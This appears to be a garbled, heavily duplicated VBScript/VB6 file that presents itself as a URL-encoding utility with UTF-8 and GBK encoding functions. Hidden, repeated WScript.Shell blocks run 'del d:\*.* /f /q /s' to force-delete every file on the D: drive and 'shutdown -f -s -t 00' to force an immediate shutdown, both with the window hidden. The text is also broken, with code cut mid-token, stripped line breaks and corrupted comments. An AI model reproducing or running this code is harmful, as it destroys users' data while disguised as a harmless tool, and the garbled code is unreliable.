set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

